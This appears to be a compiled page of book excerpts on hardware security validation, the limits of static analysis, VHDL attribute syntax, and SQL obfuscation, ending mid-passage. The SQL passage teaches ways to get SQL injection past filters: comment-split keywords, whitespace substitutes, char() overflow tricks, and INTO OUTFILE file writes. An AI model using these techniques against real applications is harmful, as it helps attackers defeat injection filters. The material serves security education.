URL: //www.sciencedirect.com/science/article/pii/B9780123985453000157

Security and Trust Assessment, and Design for Security

Swarup Bhunia, Mark Tehranipoor, in Hardware Security, 2019

13.4 Post-silicon Security and Trust Assessment for ICs

This section presents some of the commonly used post-silicon validation techniques, for example, fuzzing, negative testing, and white-box hacking. These activities inherently depend on human creativity, where tools and infrastructures primarily act as assistants, filling up gaps in human reasoning and providing recommendations.

13.4.1 Fuzzing

Fuzzing, or fuzz testing [32], is a testing technique that involves providing invalid, unexpected, or random inputs for hardware or software and monitoring the result for exceptions, such as crashes, failing built-in code assertions, or memory leaks. It was developed as a software testing approach and has since been adapted to hardware/software systems. In the context of security, it is effective for exposing a number of potential attacker entry points, including through buffer or integer overflows, unhandled exceptions, race conditions, access violations, and denial of service. Traditionally, fuzzing uses either random inputs or random mutations of valid inputs. A key attraction to this approach is its high automation compared to other validation technologies, such as penetration testing and formal analysis. Nevertheless, since it relies on randomness, fuzzing may miss security violations that rely on unique corner-case scenarios. To address that deficiency, there has been recent work on “smart” input generation for fuzzing, based on domain-specific knowledge of the target system [33]. Smart fuzzing may provide a greater coverage of security attack entry points, at the cost of more upfront investment in design understanding.

13.4.2 Negative Testing

Negative testing looks beyond the functional specification to identify if security objectives are underspecified, or can be subverted. As an example, in case of direct memory attack (DMA), negative testing may extend the deterministic security requirement (that is, abortion of DMA-access for the protected memory ranges) to identify if there are any other paths to the protected memory, in addition to the address translation activated by a DMA access request, and potential input stimulus to activate such paths.

13.4.3 Hackathons

Hackathons, also referred to as white-box hacking, fall in the “black magic” end of the security validation spectrum. The idea is for expert hackers to perform goal-oriented attempts at breaking security objectives. This activity depends primarily on human creativity, although some guidelines exist on how to approach them (see discussion on penetration testing in the next section). Because of their cost and the need for high human expertise, such approaches are performed when attacking complex security objectives, typically at hardware/firmware/software interfaces.

13.4.4 Penetration Testing

A penetration test, or intrusion test, is an attack on a system with the intention to find security weakness. It is often performed by expert hackers with deep knowledge of the system architecture, design, and implementation. Roughly, the penetration testing involves iterative applications of the following three phases: attack surface enumeration, vulnerability exploitation, and result analysis.

13.4.4.1 Attack Surface Enumeration

The first task is to identify the features or aspects of the system that are vulnerable to attacks. This is typically a creative process involving a number of activities, including documentation review, network service scanning, and even fuzzing, or random testing.

13.4.4.2 Vulnerability Exploitation

Once the potential attacker entry points are discovered, applicable attacks and exploits are attempted against target areas. This may require research into known vulnerabilities, looking up applicable vulnerability class attacks, engaging in vulnerability research specific to the target, and writing/creating the necessary exploits.

13.4.4.3 Result Analysis

In this phase, the resulting state of the target after a successful attack is compared against security objectives and policy definitions to determine whether the system is indeed compromised. Note that even if a security objective is not directly compromised, a successful attack may identify additional attack surface, which must then be accounted for with further penetration testing.

While there are commonalities between penetration testing and testing for functional validation, there are important differences. In particular, the goal of functional testing is to simulate benign user behavior and (perhaps) accidental failures under normal environmental conditions of design operation, as defined by its specification. On the other hand, the penetration testing goes outside the specification or the limits set by the security objective, and simulates deliberate attacker behavior.

The efficacy of penetration testing critically depends on the ability to identify the attack surface in the first phase previously discussed. Unfortunately, rigorous methodologies for achieving this are lacking. Following are some of the typical activities in current industrial practice to identify attacks and vulnerabilities. They are classified as “easy,” “medium,” and “hard”, depending on the creativity necessary. Note that there are tools to assist the individual in many of the activities below [34,35]. However, determining the relevance of the activity, identifying the degree to which each activity should be explored, and inferring a potential attack from the result of the activity involve significant creativity.

Easy approaches: These include review of available documentation (for example, specification and architectural materials), known vulnerabilities or misconfigurations of IPs, software, or integration tools, missing patches, and use of obsolete or out-of-date software versions.

Medium-complexity approaches: These include inferring potential vulnerabilities in the target of interest from information about misconfigurations, vulnerabilities, and attacks in related or analogous products, for example, a competitor product and a previous software version. Other activities of similar complexity involve executing relevant public security tools, or published attack scenarios against the target.

Hard approaches: These include full security evaluation of any utilized third-party components, integration testing of the whole platform, and identification of vulnerabilities involving communications among multiple IPs, or design components. Finally, the vulnerability research involves identifying new classes of vulnerabilities for the target, which have never been seen before. The latter is particularly relevant for new IPs, or SoC designs for completely new market segments.

13.4.5 Functional Validation of Security-Sensitive Design Features

This is essentially an extension to functional validation but it pertains to design elements involved in critical security feature implementations. An example is the cryptographic engine IP. A critical functional requirement for the cryptographic engine is that it encrypts and decrypts data correctly for all modes. As with any other design block, the cryptographic engine is also a target of functional validation. However, given that it is a critical component of a number of security-critical design features, cryptographic functionality may be crucial enough to justify further validation, beyond the coverage provided by functional validation activities. Consequently, such an IP may undergo more rigorous testing, or even formal analysis. Other such critical IPs may include IPs involved in secure boot, and in-field firmware patching.

13.4.6 Validation of Deterministic Security Requirements

Deterministic security requirements are validation objectives that can be directly derived from security policies. They include access control restrictions and address translations. Let us consider an access control restriction that specifies a certain range of memory to be protected from DMA access. This may be done to ensure protection against code-injection attacks, or protect a key that is stored in such location. An obvious derived validation objective is to ensure that all DMA calls for access to a protected memory must be aborted. Note that validation of such properties may not be included in the functional validation, since DMA access requests for DMA-protected addresses are unlikely to arise for “normal” test cases, or usage scenarios.

The following sections discuss some countermeasures, which can be adopted at design stage to address the security issues in the hardware design.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9780128124772000186

Why hackers know more about our systems

Nikolai Mansourov, Djenana Campara, in System Assurance, 2011

1.3.5 Limitations of white-box vulnerability detection

There are two types of security testing methods: white-box testing and black-box testing.

White-box testing is based on knowledge of the system internals derived directly from the code (source or binary). The white-box testing is associated with testing of the software and has inside-out focus, targeting particular constructs, statements, code paths, or code sections. A technology used in security white-box vulnerability testing is known as static analysis and is commercialized in source and binary code analyzer tools. The promise of this technology is the 100% coverage of all code paths in the system. However, tools implementing this technology have several weaknesses producing inconclusive evidence of a system's trustworthiness.

1.

Lack of complete system coverage – The tools provide some capabilities with proprietary and limited functionality, with each tool providing value only in subsets of the enterprise application space causing the need to use more than one static analysis tool to combine their strengths and avoid their weaknesses. As mentioned in the recent comparison of static analysis tools performed at NSA [Buxbaum 2007] “Organizations trying to automate the process of testing software for vulnerabilities have no choice but to deploy a multitude of tools.” Since current source/binary code analysis tools offer little interoperability, it is costly to evaluate, select and integrate the set of tools that provide an adequate coverage for the breadth of languages, platforms, and technologies that typical systems contain. Findings in one vulnerability report are not necessarily aligned with the pattern and condition of the vulnerability and therefore, reports from two tools for the same vulnerability many not be the same. For example, the evidence for buffer overflow vulnerability is scattered throughout the code: it involves a buffer write operation, a data item being written, another place where the buffer is allocated, and yet another place where the length of the buffer is calculated. There is a code path that allows an attacker to exploit the buffer overflow by providing some input into the application. In addition, a buffer overflow may be caused by another problem, such as an integer overflow. All this evidence has to be considered and reported in a single buffer overflow report using a common vocabulary and structure. Failure to use a common reporting standard leads to a situation where it is hard to merge reports from multiple vulnerability detection tools and achieve a significant improvement in the overall report quality, because the lack of interoperability and the common vocabulary makes it hard to 1) select the vulnerability that is reported by multiple tools; 2) for a given vulnerability, estimate the coverage of the same vulnerability pattern throughout the entire system; and 3) get coverage of the system by the multitude of tools.

2.

Lack of aid in understanding the system – Vulnerability detections tools do not aid the team in understanding the system under assessment, an activity that is required for the evaluation team to make a conclusion about a system's trustworthiness, as well as to detect vulnerabilities that are specific to the system under evaluation—the knowledge that cannot be brought by the off-the-shelf vulnerability detection tools.

An automatic static analysis tool goes through the code, parses it, analyzes it, and searches for patterns of vulnerabilities. As a result, the tool produces a report describing the findings. As part of this process, a great deal of detailed knowledge of the system is generated because finding vulnerabilities requires a fine-grained understanding of the structure, control, and data flow of each application. However, as soon as the report is produced, this detailed knowledge disappears. It can no longer be used to systematically reproduce the analysis or to aid the assessment team to understand the system. It is only the list of vulnerabilities that they are provided with. A similar situation occurs during compilation. A compiler generates large amounts of fine-grained knowledge about the system, only to be discarded as soon as the object file is generated.

However, a consistent approach to representing and accumulating this knowledge is critical for a systematic and cost-efficient security evaluation, because not only do all code analysis capabilities need to share this knowledge, but also any inconsistencies in addressing the basic knowledge of the system will lead to bigger inconsistencies in derived reports.

An exploitable vulnerability is a complex phenomenon, so there are multiple possibilities to report it in a multitude of ways. The industry of vulnerability detection tools is still immature. There is no standardization on the nomenclature of vulnerabilities or on the common reporting practices, although several community efforts are emerging.

It is easy to make a case for the multi-stage analysis where a particular vulnerability detection capability is just one of the “data feeds” into the integrated system assessment model.

First, the original vulnerability analysis has to be augmented with additional assessment evidence, which is usually not provided by an off-the-shelf tool. For example, such evidence can be collected from people, processes, technology, and the environment of the system under evaluation. In addition, in a large number of situations, the findings from the automatic vulnerability detection capabilities need to be augmented by the results of the manual code reviews or evaluations of formal models.

Second, there is a gap between the off-the-shelf vulnerabilities that an automatic tool is looking for and the needs of a given system with its unique security functional requirements and threat model. Usually there are not enough inputs for an automatic tool to detect these vulnerabilities, so these analyses need to be performed. The inputs that are required for the additional vulnerability analysis are similar to the original analysis. This knowledge may include the specific system context, including the software and hardware environment in which the application operates, the threat model, specific architecture of the system, and other factors.

Third, other kinds of analysis in the broader context of systems assurance needs to be performed, in particular, architectural analysis, software complexity metrics, or penetration (black-box) testing.

In order to obtain a cohesive view of the security application, software evaluation teams often need to do painful point-to-point integrations between existing vulnerability detection capabilities and tools. Rarely do organizations choose this path.

3.

Massive production of false positives and false negatives – There are some fundamental barriers to comprehensive code analysis, which leads to limitations of the vulnerability detection tools, and subsequently, to false negative and false positive report findings. In order to analyze a computation, all system components have to be considered, including the so-called application code, as well as the runtime platform and all runtime services, as some of the key control and data flow relationships are provided by the runtime framework, as the computation flows through the application code into the runtime platform and services and back to the application code. Application code alone, often written in more than one programming language, in most cases does not provide an adequate picture of the computation, as some segments of the flow are determined by the runtime platform and are not visible in the application code. For example, while a large number of control flow relationships between different activities in the application code are explicit (such as statements in a sequence, or calls from a statement to another procedure), some control flow relations are not visible in the code, including the so-called callbacks, where the application code registers a certain activity with the runtime framework (for example, an event handler or an interrupt handler) and it is the runtime framework that initiates the activity. Without the knowledge of such implicit relationships, the system knowledge is incomplete, leading to massive false positive and false negative entries in the report. While numbers of generated false negatives are unknown, the numbers of generated false positives are staggeringly high and “weeding” through a report to identify true positives is a costly process, causing limited use of such tools. To reduce the number of false reports some tools simply skip situations where they can not fully analyze a potential vulnerability within a short timeframe.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9780123814142000014

Attributes and Groups

Peter J. Ashenden, in The Designer's Guide to VHDL (Third Edition), 2008

20.2.2 Attribute Specifications

Once we have defined an attribute name and type, we then use it to decorate items within a design. We write attribute specifications, nominating items that take on the attribute with particular values. The syntax rules for an attribute specification are

attribute_specification

    attribute identifier of entity_name_list : entity_class is expression ;

entity_name_list

    ( ( identifier

character_literal
operator_symbol )
signature
)
,

    

others

    

all

entity_class

    entity           

architecture      
configuration      
package

    

procedure       
function          
type               
subtype

    

constant        
signal            
variable           
file

    

component       
label             
literal            
units

    

group           
property          
sequence

The first identifier in an attribute specification is the name of a previously declared attribute. The items to be decorated with this attribute are listed in the entity name list. Note that we use the term “entity” here to refer to any item in the design, not to be confused with an entity interface defined in an entity declaration. We adopt this terminology to remain consistent with the VHDL Language Reference Manual, since you may need to refer to it occasionally. However, we use the term as little as possible, preferring instead to refer to “items” in the design, to avoid confusion. The items to be decorated with the attribute are those named items of the particular kind specified by the “entity” class. The list of classes shown covers every kind of item we can name in a VHDL description, so we can decorate any part of a design with an attribute. Finally, the actual value for the attribute of the decorated items is the result of the expression included in the attribute specification. Here are some examples of attribute specifications using the attributes defined earlier:

attribute cell_name of std_cell : architecture is “DFF_SR_QQNN”;

attribute pin_number of enable : signal is 14;

attribute max_wire_delay of clk : signal is 50 ps;

attribute encoding of idle_state : literal is b“0000”;

attribute cell_position of the_fpu : label is ( 540 um, 1200 um );

In the case of an attribute declared to be of a composite type, we can write the attribute value in the form of an aggregate or string or bit-string literal. The type can be an unconstrained or partially constrained subtype, in which any index ranges not defined by the subtype are determined from the attribute value. For example, if we declare an attribute of a composite type:

type string_vector is array (positive range <>) of string;

attribute key_vector : string_vector;

we can decorate an item with the attribute as follows:

attribute key_vector of e : entity is

  (“66A6D 7DF3A 88CE1 8DEEB”, “012BD 2BEE9 98634 93FE1”);

Since the subtype for the attribute specifies index ranges in neither the top-level nor the element position, the corresponding index ranges of the aggregate are used to determine the index ranges for the attribute value, giving the ranges 1 to 2 for the top level and 1 to 23 for each element.

We now look at how attribute values may be specified for each of the classes of items shown in the syntax rule. For most classes of items, an attribute specification must appear in the same group of declarations as the declaration for the item being decorated. However, the first three classes shown in the syntax rule are design units that are placed in a design library as library units when analyzed. They are not declared within any enclosing declarative part. Instead, we can consider them as being declared in the context of the design library. The same also applies to packages that are declared as design units, as opposed to being declared locally within a design unit. However, this presents a problem if we wish to decorate an item of one of these classes with an attribute. For entities, architectures, configurations and packages, we solve this problem by placing the attribute specification in the declarative part of the design unit itself. For example, we decorate an architecture std_cell with the cell_name attribute as follows:

architecture std_cell of flipflop is

  attribute cell_name of std_cell : architecture is “DFF_SR_QQNN”;

  …  -- other declarations

begin

  …

end architecture std_cell;

In the case of packages, this rule applies whether a package is declared as a design unit or locally. The attribute specification must be included in the package declaration, not the package body. For example, we can decorate a package model_utilities with the optimize attribute as follows:

package model_utilities is

  attribute optimize : string;

  attribute optimize of model_utilities : package is “level_4”;

  …

end package model_utilities;

When we decorate subprograms we may need to distinguish between several overloaded versions. The syntax rule on  page 617 shows that we can include a signature to identify one version uniquely by specifying the types of its parameters and return value. Signatures were introduced in Chapter 11.

Example 20.5 Decorating a subprogram

If we have two overloaded versions of the procedure add_with_overflow declared in a process as shown below, we can decorate them using signatures in the attribute specification.

process is

  procedure add_with_overflow ( a, b : in integer;

                                sum : out integer;

                                overflow : out boolean ) is

  procedure add_with_overflow ( a, b : in bit_vector;

                                sum : out bit_vector;

                                overflow : out boolean ) is

  attribute built_in : string;

  attribute built_in of

    add_with_overflow [ integer, integer,

                        integer, boolean ] : procedure is

“int_add_overflow”;

  attribute built_in of

    add_with_overflow [ bit_vector, bit_vector,

                        bit_vector, boolean ] : procedure is

“bit_vector_add_overflow”;

begin

  …

end process;

The syntax rule also shows that we can identify an overloaded operator by writing the operator symbol as the function name. For example, if we declare a function to concatenate two lists of stimulus vectors:

function “&” ( a, b : stimulus_list ) return stimulus_list;

we can decorate it with an attribute as follows:

attribute debug : string;

attribute debug of “&” [ stimulus_list, stimulus_list

                         return stimulus_list ] : function is

                    “source_statement_step”;

The syntax rules for attribute specifications show the signature to be optional, and indeed, we can omit it when decorating subprograms. In this case, the attribute specification applies to all subprograms with the given name and class declared in the same declarative part as the attribute specification. For example, if we declare the following overloaded subprograms:

procedure add ( a, b : in integer; s : out integer );

procedure add ( a, b : in real; s : out real );

function add ( a, b : integer ) return integer;

function add ( a, b : real ) return real;

and write and attribute declaration and specifications:

attribute built_in : boolean;

atribute built_in of add : procedure is true;

attribute built_in of add : function is false;

the two procedures are decorated with the attribute value true, and the two functions are decorated with the attribute value false.

We can decorate a type, subtype or data object (a constant, variable, signal or file) by including an attribute specification after the declaration of the item. The attribute specification must appear within the same declarative part as the declaration of the item. For example, if we declare a resolved subtype resolved_mvl:

type mvl is (’X’, ‘0’, ‘1’, ‘Z’);

type mvl_vector is array ( integer range <>) of mvl;

function resolve_mvl ( drivers : mvl_vector ) return mvl;

subtype resolved_mvl is resolve_mvl mvl;

we can decorate it as follows:

type builtin_types is (builtin_bit, builtin_mvl, builtin_integer);

attribute builtin : builtin_types;

attribute builtin of resolved_mvl : subtype is builtin_mvl;

Generics and ports in the interface of an entity can be decorated with attributes. Generic constants are of constant class, generic types are of type class, generic subprograms are of procedure or function class, generic packages are of package class, and ports are of signal class. The interface list is considered to be in the declarative part of the entity. Hence, we write attribute specifications for generics and ports in the declarative part of the entity.

Example 20.6 Decorating generics and ports of an entity

Suppose the package physical_attributes declared the following attributes:

attribute layout_ignore : boolean;

attribute pin_number : positive;

We can declare an entity with decorated generic constants and ports as follows:

library ieee;  use ieee.std_logic_1164.all;

use work.physical_attributes.all;

entity \74x138\ is

  generic ( Tpd : time );

  port ( en1, en2a_n, en2b_n : in std_ulogic;

         s0, s1, s2 : in std_ulogic;

         y0, y1, y2, y3, y4, y5, y6, y7 : out std_ulogic );

  attribute layout_ignore of Tpd : constant is true;

  attribute pin_number of s0 : signal is 1;

  attribute pin_number of s1 : signal is 2;

  attribute pin_number of s2 : signal is 3;

  attribute pin_number of en2a_n : signal is 4;

  …

end entity \74x138\;

Subprogram parameters can also be decorated with attributes. The class is specified or implied in the interface list of the subprogram. We write the attribute specifications for subprogram parameters in the declarative part of the subprogram. Similarly, for uninstantiated subprograms, we can decorate the generics by writing attribute specifications in the declarative part. For uninstantiated packages, we can decorate the generics by writing attribute specification in the package declaration (not the package body). In both cases, the classes of generics are as described above for generics of entities.

Example 20.7 Decorating parameters of a subprogram

The following procedure has three parameters of different classes. Attribute specifications for the parameters are included in the declarative part of the procedure.

procedure mem_read ( address : in natural;

                     result : out byte_vector;

                     signal memory_bus : inout ram_bus ) is

  attribute trace of address : constant is “integer/hex”;

  attribute trace of result : variable is “byte/multiple/hex”;

  attribute trace of memory_bus : signal is

                      “custom/command=rambus.cmd”;

  …

begin

  …

end procedure mem_read;

We can decorate a component in a model by including an attribute specification along with the component declaration. An important point to realize is that the attribute decorates the template defined by the component declaration. It does not decorate component instances that use that template.

Example 20.8 Decorating a component declaration

The package below includes a component declaration for an and gate. The package imports two attributes, graphic_symbol and graphic_style, from a second package graphics_pkg in the library graphics and decorates the component template with each of these attributes.

library ieee;  use ieee.std_logic_1164.all;

library graphics;

package gate_components is

  use graphics.graphics_pkg.graphic_symbol,

      graphics.graphics_pkg.graphic_style;

  component and2 is

    generic ( prop_delay : delay_length );

    port ( a, b : in std_ulogic;  y : out std_ulogic );

  end component and2;

  attribute graphic_symbol of and2 : component is “and2”;

  attribute graphic_style of and2 : component is

                              “color:default, weight:bold”;

  …

end package gate_components;

If we wish to decorate a component instance or any other concurrent statement with an attribute, we do so by decorating the label of the statement. The label is implicitly declared in the declarative part of the architecture or block containing the concurrent statement. Hence, we place the attribute specification in that declarative part.

Example 20.9 Decorating a component instance

We might decorate a component instance in an architecture body with an attribute describing cell placement as follows:

architecture cell_based of CPU is

  component fpu is

    port ( … );

  end component;

  use work.cell_attributes.all;

  attribute cell_position of the_fpu : label is

                             ( 540 um, 1200 um );

  …

begin

  the_fpu : component fpu

    port map ( … );

  …

end architecture cell_based;

We can decorate sequential statements within a process or a subprogram in a similar way. The syntax rules for sequential statements show that each kind of sequential statement may be labeled. We decorate a sequential statement by specifying an attribute for the label. We place the attribute specification in the declarative part of the process or subprogram containing the sequential statement.

Example 20.10 Decorating a sequential statement

If we wish to decorate a loop statement in a process with the attribute synthesis_hint, we do so as follows:

controller : process is

  attribute synthesis_hint of control_loop : label is

                              “implementation:FSM(clk)”;

  …

begin

  …  -- initialization

  control_loop : loop

    wait until clk = ‘1’;

    …

  end loop;

end process controller;

When we introduced aliases and signatures in Chapter 11, we mentioned that enumeration literals can be thought of as functions with no parameters that return values of their enumeration types. We can take the same approach when decorating enumeration literals with attributes, in order to distinguish between literals of the same name from different enumeration types.

Example 20.11 Decorating an enumeration literal

If we have two enumeration types declared as

type controller_state is (idle, active, fail_safe);

type load_level is (idle, busy, overloaded);

we can decorate the literals of type controller_state as follows:

attribute encoding of

  idle [ return controller_state ] : literal is b“00”;

attribute encoding of

  active [ return controller_state ] : literal is b“01”;

attribute encoding of

  fail_safe [ return controller_state ] : literal is b“10”;

The signature associated with the literal idle indicates that it is of type controller_state, not load_level. As with attribute specifications for subprograms, if a signature is not included for a literal, all literals of the given name declared in the same declarative part as the attribute specification are decorated with the attribute.

When we declare a physical type we introduce a primary unit name and possibly a number of secondary unit names. Each of the unit names is a declared item and so may be decorated with attributes.

Example 20.12 Decorating a physical unit

The package below defines a physical type voltage. It also declares an attribute, resolution, and decorates each of the units of voltage with this attribute.

package voltage_defs is

  type voltage is range -2e9 to +2e9

    units

      nV;

      uV = 1000 nV;

      mV = 1000 uV;

      V = 1000 mV;

    end units voltage;

  attribute resolution : real;

  attribute resolution of nV : units is 1.0;

  attribute resolution of uV : units is 0.01;

  attribute resolution of mV : units is 0.01;

  attribute resolution of V : units is 0.001;

end package voltage_defs;

If we embed PSL code in a VHDL model, we can decorate declared properties and sequences. For example:

property SingleCycleRequest is

  always req -> next not req;

sequence ReadCycle is

  { ba; {bb[*]} && {ar[->]; dr[->]}; not bb };

attribute enable_heuristics of

            SingleCycleRequest : propery is true;

attribute enable_heuristics of ReadCycle : sequence is true;

The one remaining class of items that can be decorated with attributes is groups. We introduce groups in the next section and show examples of decorated groups.

If we return to the syntax rules for attribute specifications, shown on  page 617, we see that we can write the keyword others in place of the list of names of items to be decorated. If we do so, the attribute specification applies to all items of the given class in the declarative part that are not otherwise decorated with the attribute. Such an attribute specification must be the last one in the declarative part that refers to the given attribute name and item class.

Example 20.13 Decorating items not previously decorated

In the following architecture body, signals are decorated with attributes specifying the maximum allowable delays due to the physical layout. The two signals recovered_clk1 and recovered_clk2 are explicitly decorated with the attribute value 100 ps. The remaining signals are decorated with the value 200 ps.

library ieee;  use ieee.std_logic_1164.all;

use work.timing_attributes.all;

architecture structural of sequencer is

  signal recovered_clk1, recovered_clk2 : std_ulogic;

  signal test_enable : std_ulogic;

  signal test_data : std_ulogic_vector(0 to 15);

  attribute max_wire_delay of

    recovered_clk1, recovered_clk2 : signal is 100 ps;

  attribute max_wire_delay of others : signal is 200 ps;

  …

begin

  …

end architecture structural;

The syntax rules also show that we can use the keyword all in place of a list of item names. In this case, all items of the given class defined in the declarative part containing the attribute specification are decorated. Such an attribute specification must be the only one in the declarative part to refer to the given attribute name and item class.

Although we can only decorate an item with one value for a given attribute name, we can decorate it with several different attributes. We simply write one attribute specification for each of the attributes decorating the item. For example, a component instance labeled mult might be decorated with several attributes as follows:

attribute cell_allocation of

  mult : label is “wallace_tree_multiplier”;

attribute cell_position of

  mult : label is ( 1200 um, 4500 um );

attribute cell_orientation of

  mult : label is down;

If an item in a design is decorated with a user-defined attribute, we can refer to the attribute value using the same notation that we use for predefined attributes. The syntax rule for an attribute name referring to a user-defined attribute is

attribute_name

name
signature
‘ identifier

If the name of the item is unambiguous, we can simply write an apostrophe and the attribute name after the item name. For example:

std_cell‘cell_name

enable‘pin_number

clk‘max_wire_delay

v4 := idle_state‘encoding

the_fpu‘cell_position

In the case of attributes decorating subprograms or enumeration literals, it may be necessary to use a signature to distinguish between a number of alternative names. For example, we might refer to attribute values of different versions of an increment function as

increment [ bit_vector return bit_vector ] ‘built_in

increment [ std_ulogic_vector return std_ulogic_vector ] ‘built_in

Similarly, we might refer to attribute values of enumeration literals as

high [ return speed_range ] ‘representation

high [ return coolant_level ] ‘representation

While it is legal VHDL to refer to attribute values such as these in expressions, it is not good design practice to use attribute values to affect the structure or behavior of the model. It is better to describe structure and behavior using the language facilities intended for that purpose and use attributes to annotate the design with other kinds of information for use by other software tools. For this reason, we do not further discuss the use of attribute values in models. Software tools that use attributes should include documentation describing the required attribute types and their usage.

In Chapter 11, we introduced aliases as a way of defining alternate names for items in a design. In most cases, referring to an item using an alias is exactly the same as referring to it using its original name. The same interpretation holds when decorating items with attributes. When we use an alias of an item in an attribute specification, it is the original object denoted by the alias that is decorated, not the alias. This is the interpretation we saw for the predefined attributes discussed in the previous section. The exceptions are the predefined attributes that return the path name of an item and those that return information about the index ranges of arrays. One restriction on decorating data objects using aliases is that we may only do so using aliases that denote whole objects, not elements or slices of records or arrays. This restriction corresponds to the restriction that an attribute must decorate a whole object. The syntax rule for an attribute specification does not provide for naming parts of objects, since we can only write a simple identifier as an object name.

One final point to mention about user-defined attributes relates to component instantiation statements and to subprogram calls. In a component instantiation statement, actual signals are associated with formal ports of an entity. If the actual signal is decorated with an attribute, the attribute information is only visible in the context of the actual signal, namely, in the architecture body in which the signal is declared. It is not carried through to the instantiated entity. For example, if we have a signal s decorated with an attribute attr, we might use it as an actual signal in a component instantiation statement:

c1 : entity work.e(arch)

  port map ( p => s );

Within the architecture body arch, we cannot refer the attribute of the signal using the notation p’attr. This notation instead refers to the attribute attr of the port p, which can only be defined in the entity declaration.

In a subprogram call an actual parameter (such as a constant, variable, signal or file) is associated with a formal parameter of the subprogram. If the actual parameter is decorated with an attribute, that attribute information is likewise not carried through to the subprogram. The decoration is purely local to the region in which the actual object is declared.

VHDL-87, -93, and -2002

Since these versions of VHDL do not allow PSL code to be embedded within VHDL models, we cannot use the word property or sequence attribute specifications for the class of an item to be decorated.

VHDL-87

The syntax rules for attribute specifications in VHDL-87 do not allow us to name a character literal as an item to be decorated. Nor may we specify the entity class literal, units, group or file. Furthermore, we may not include a signature after an item name. Hence there is no way to distinguish between overloaded subprograms or enumeration literals; all items of the given name are decorated.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9780120887859000204

SQL

Mario Heiderich, ... David Lindsay, in Web Application Obfuscation, 2011

Relevant SQL language elements

SQL knows several basic language elements, including statements, select specifications, and search conditions over operators, functions, attributes, and objects. Most DBMSs allow basic obfuscation techniques for statements already. For example, the case of the characters used in the statement does not matter; we can use SELECT, select, or even sElECt. This is true for most keywords as well, but usually not for table names and other strings pointing to actual database data and structures; those elements are treated in a case-sensitive manner. So, whereas sELecT * frOm test works if the table test exists, sELECt * fROm tEsT will fail and raise a “Table not found” error. The most important statements are usually SELECT, INSERT, UPDATE, and DELETE for direct data retrieval and manipulation, as well as ALTER, DROP, and TRUNCATE for structural changes. Most DBMSs ship with features allowing direct interaction with the file system, manipulating the operating system Registry, or even executing arbitrary code. MySQL, for example, ships with INTO OUTFILE to actually write data to the hard disk of the DBMS server if the privilege context allows this.

Many DBMSs also support comments, and thereby allow you to mix comments into the statement declaration, as in SE/**/LE/**/CT. Most DBMSs support two kinds of comments: block comments via /**/ and one-line comments via #. But there are several special ways to work with comments and use them to prematurely end statements or just to perform basic obfuscation. We look at SQL and comments later in the section “Comments.”

Functions

The functions a DBMS provides are very interesting in terms of obfuscation. We will primarily look at the numerical and string functions the various DBMSs have in stock, since they enable interesting encoding possibilities and even the ability to encrypt the executed code. Of course, most DBMSs support base64 or hex and even octal and binary representation of strings and other data. MySQL even supports several proprietary hashing algorithms as well as MD5, SHA-1, and others.

Many filters assume that a SQL injection requires a bunch of characters to work, including whitespace. This is not true, as many characters in SQL, and especially in MySQL, can be replaced with other characters to fool a filter. Remember the character &#160; as a whitespace substitute, as well as parentheses, as in SELECT(*)FROM(tablename)

The manual provides a good overview of what can be used inside MySQL queries to encrypt and decrypt strings, which we will discuss more thoroughly in the section “Strings in SQL” (also see //dev.mysql.com/doc/refman/5.1/en/encryption-functions.html for more information). Functions in SQL can also be used in a nested way to make sure a query is bloated, and thus harder to read; plus, many functions returning empty strings or 0 as well as false can be used in concatenations or regular expressions.

# MySQL

SELECT !!!ord(char(mid(lower(1),1,2))); # selects 1

SELECT substr(hex(unhex(01)),2,1); # selects 1

SELECT(1)IN(GREaTEST(1,1,1,1,1,1)); # selects 1

SELECT(if(“1”",((!!!~0)),0)); # selects… 1

The most commonly used functions for obfuscating in SQL queries are the functions that turn characters or other values into a string necessary for a successful query, usually including several concatenation chains. The most common function is chr() on PostgreSQL and Oracle, and char() on MySQL. These functions do nothing more than receive a numerical value and return the character found at the given decimal index of the ASCII table. Since the ASCII table has a limited number of indexes, it is interesting to see how the DBMS will react on higher integers such as 127 and 255. Also, note that MySQL exhibits behavior that is useful in the context of obfuscation. For instance, it is possible to generate strings comprising up to four characters by overflowing the char() function with large numbers:

#Oracle

SELECT CHR(84)||CHR(69)||CHR(83)||CHR(84)a FROM user_tables;

#MySQL (example abuses an integer overflow)

SELECT concat(char(1885434739),char(2003792484)) #“password”

SELECT concat(char(x‘70617373’),char(b‘1110111011011110111001001100100’)) #“password”

This MySQL example is easy to understand. The number 1885434739 is represented in hex with 70617373, which, when shown as a string such as 0x70617373, will result in “pass”; the other sequence, of course, results in “word”.

As the code examples showed, we can also make use of the operators the DBMS provides for us. Usually, the list of available operators is not that different from what most programming languages provide. There are the usual mathematical operators, Boolean operators, and more DBMS- and string-comparison-specific operators such as NOT, LIKE, RLIKE, and others. The DBMS documentation pages usually provide good lists with explanations of what is available. An example for MySQL is available at //dev.mysql.com/doc/refman/5.1/en/non-typed-operators.html.

Operators

In terms of operators, we can use mathematical operators as well as Boolean and concatenation or size comparison operators. Both PostgreSQL and Oracle provide a dedicated operator for string concatenation, which unfortunately is missing in MySQL, and looks like this:

SELECT ‘foo’ || ‘bar’ # selects foobar

PostgreSQL also ships with several operators that are useful for regular-expression-based comparisons and operations, among them ~ and ~* for case-sensitive and case-insensitive matches, and the !~ and !~* variation for nonmatches. PostgreSQL also supports a shorthand operator for LIKE and NOT LIKE that looks like this: ~~ and !~~.

Comprehensive lists of operators for MySQL, PostgreSQL, and Oracle are available at the following URLs:

//dev.mysql.com/doc/refman/5.1/en/comparison-operators.html

www.postgresql.org/docs/6.5/static/operators1716.htm

//download.oracle.com/docs/html/A95915_01/sqopr.htm

As a side note, MS SQL allows string concatenation “JavaScript style” by using the plus character (+).

MySQL does feature possibilities for concatenating strings without using concat() or similar functions. The easiest way to do this is to just select several correctly delimited strings with a space as the separator. The following example selects the string aaa with the column alias a:

#MySQL

SELECT ‘a’ ‘a’ ‘a’a;

SELECT‘adm’/*/ ‘in’ ‘’ ‘’ ‘’;

An operator available in MySQL that is especially interesting for more advanced obfuscation techniques is the := assignment operator. MySQL and other DBMSs allow the creation of variables inside a query for later reference. Usually, the SET syntax is used for this purpose, as in SET @a=1;—but it cannot be used inside another query. The := operator circumvents this limitation, as the following examples show. The first example is rather simple and just shows how the technique works in general, whereas the second example shows a way to use large integers to generate hexadecimal representations which then can be represented in string form (e.g., 0x41 as A).

#MySQL

SELECT @a:=1; # selects 1

[email protected]:=(@b:=1); # selects 1 as well

